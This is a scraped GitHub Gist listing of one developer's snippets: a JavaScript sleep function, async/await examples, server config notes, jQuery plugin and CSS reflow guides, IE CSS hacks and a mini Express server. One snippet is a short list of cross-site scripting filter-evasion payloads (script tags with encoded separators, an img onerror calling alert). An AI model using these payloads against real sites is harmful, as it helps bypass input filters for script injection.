Skip to content

Instantly share code, notes, and snippets.

View yangfch3's full-sized avatar
🎯
Focusing

Fucheng Yang yangfch3

🎯
Focusing
  • NetEase
  • Internet
View GitHub Profile
@yangfch3
yangfch3 / sleep.js
Last active September 13, 2018 01:15
[sleep 函数] #utils
/**
* @param {Number} sec Sleep second period.
*/
function sleep(sec) {
sec = +sec;
if (isNaN(sec)) {
throw new Error('sleep(): arg "sec" must be a number.');
}
const startTime = Date.now();
@yangfch3
yangfch3 / async-await.js
Last active January 17, 2020 07:04
JavaScript 异步编程分享使用代码
/**
* 依次读取文件 A、B、C
*/
/**
* 4. async-await
*/
const fs = require('fs'),
promisedReadFile = util.promisify(fs.readFile); // util.promisify: Node v8.x.x 新增 API
@yangfch3
yangfch3 / centos-ip-config.txt
Last active August 23, 2018 01:36
CentOS 配置静态 IP
封装环境:nginx + node.js + mysql + redis + memcached + php + php-fpm
配置文件路径:
/etc/ssh/sshd_config
/etc/nginx/
/etc/my.cnf (/etc/mysql/my.cnf /usr/local/mysql/my.cnf ~/.my.cnf)
/etc/redis/
/etc/php.ini > /usr/local/etc/php5214.ini
/etc/php-fpm.conf
远程
@yangfch3
yangfch3 / jQuery-plugin-authoring.md
Created March 12, 2017 09:19 — forked from quexer/jQuery-plugin-authoring.md
如何编写 jQuery 插件

创建插件


看来 jQuery 你已经用得很爽了,想学习如何自己编写插件。非常好,这篇文档正适合你。用插件和方法来扩展 jQuery 非常强大,把最聪明的功能封装到插件中可以为你及团队节省大量开发时间。

开始

@yangfch3
yangfch3 / httpd-default.conf
Last active May 18, 2017 04:03
(macOS) httpd 系列配置文件注解翻译
# extra/httpd-default.conf
# 这个配置文件展示 Apache HTTP Server 的默认设置
#
# 你可能变更这些,但是一般情况下你并不需要更改
# Timeout:收发超时前的秒数
Timeout 60
# KeepAlive:是否允许持续连接(每个连接可以有多次请求)—— 即不立即分手
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@yangfch3
yangfch3 / what-forces-layout.md
Last active September 13, 2018 01:18 — forked from paulirish/what-forces-layout.md
[会导致 layout/reflow 的条目] #tiny_handbook

What forces layout / reflow

All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.

Element

Box metrics
  • elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent
  • elem.clientLeft, elem.clientTop, elem.clientWidth, elem.clientHeight
  • elem.getClientRects(), elem.getBoundingClientRect()
@yangfch3
yangfch3 / ie-css-hacks.md
Last active August 5, 2020 13:57
fucking IE CSS Hacks

IE 6

* html .ie6 {property:value;}

or

.ie6 { _property:value;}

IE 7

@yangfch3
yangfch3 / core.js
Last active September 13, 2018 01:17 — forked from Saul-Mirone/mini-express.js
[Express 风格框架简易实现] #原理或简易实现
const http = require('http')
const url = require('url')
const path = require('path')
const fs = require('fs')
const mime = {
"html": "text/html",
"css": "text/css",
"js": "text/javascript",
"json": "application/json",
"gif": "image/gif",
@yangfch3
yangfch3 / Wikipedia-telnet.js
Last active March 2, 2017 07:58 — forked from atdt/wp-telnet.js
Wikipedia Telnet Server - Node Version
// Wikipedia telnet server
//
// To install depenedncies:
// npm install request
// npm install cheerio
//
var net = require( 'net' );
var cheerio = require('cheerio');
var request = require('request');